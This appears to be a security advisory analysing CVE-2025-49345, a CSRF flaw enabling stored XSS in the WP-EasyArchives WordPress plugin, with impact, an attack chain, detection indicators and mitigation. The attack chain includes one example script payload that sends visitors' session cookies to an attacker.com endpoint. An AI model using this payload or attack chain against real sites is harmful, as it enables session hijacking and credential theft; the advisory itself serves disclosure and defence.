CVE-2025-49345: 
WordPress vulnerability analysis and mitigation

CVE-2025-49345 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP-EasyArchives WordPress plugin (developed by mg12) that enables Stored Cross-Site Scripting (XSS) attacks. It affects all versions of WP-EasyArchives through 3.1.2. The vulnerability was reported by security researcher Skalucy on October 19, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and is mapped to OWASP Top 10 category A1: Broken Access Control. The plugin fails to implement adequate CSRF token validation on sensitive administrative actions, allowing an unauthenticated attacker to craft a malicious request that, when executed by an authenticated administrator, stores malicious JavaScript in the WordPress database. This stored XSS payload then executes in the browsers of users who visit affected pages, with the scope of impact extending beyond the originating request (changed scope). No privileges are required by the attacker, but user interaction from a privileged user is necessary to trigger the exploit (Patchstack).

Successful exploitation results in stored XSS being injected into the WordPress site, affecting confidentiality, integrity, and availability across the site's scope. Malicious scripts can steal session cookies, redirect users to phishing pages, perform actions on behalf of authenticated users, or deface site content. Because the XSS payload is stored server-side, all subsequent visitors to affected pages are exposed without any further attacker interaction (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority and notes it is unlikely to be exploited, though they caution that CSRF/XSS vulnerabilities in WordPress plugins are sometimes used in mass-exploit campaigns targeting large numbers of sites indiscriminately (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP-EasyArchives plugin version 3.1.2 or earlier using tools like WPScan or by checking publicly accessible plugin metadata (e.g., /wp-content/plugins/wp-easyarchives/readme.txt).
2. Craft malicious CSRF request: Create an HTML page or form that submits a forged POST request to the vulnerable WP-EasyArchives plugin settings endpoint, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin configuration field.
3. Deliver to privileged user: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email, malicious link, or injected content), causing their browser to automatically submit the forged request with their authenticated session credentials.
4. Payload stored: The plugin processes the request without CSRF validation, storing the malicious script in the WordPress database as part of plugin settings or archive output.
5. XSS execution: Any user (including administrators and site visitors) who subsequently loads a page rendering the WP-EasyArchives output will have the malicious script execute in their browser, enabling session hijacking, credential theft, or further attacks (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings or options endpoints from unusual referrer origins (non-site domains), particularly targeting WP-EasyArchives admin pages.
• Database: Unexpected JavaScript tags or encoded script content stored in WordPress options or plugin-specific database tables associated with WP-EasyArchives settings.
• Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages that render WP-EasyArchives output.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than written to disk.

At the time of disclosure (December 31, 2025), Patchstack reported no official patch was available from the plugin developer. Site administrators should immediately deactivate and remove the WP-EasyArchives plugin until a patched version (3.1.3 or later) is released. As a compensating control, web application firewalls (WAFs) with CSRF and XSS rules — such as those provided by Patchstack, Wordfence, or Cloudflare — can help block exploitation attempts. Monitor the WordPress plugin repository for an updated release and apply it promptly upon availability (Patchstack).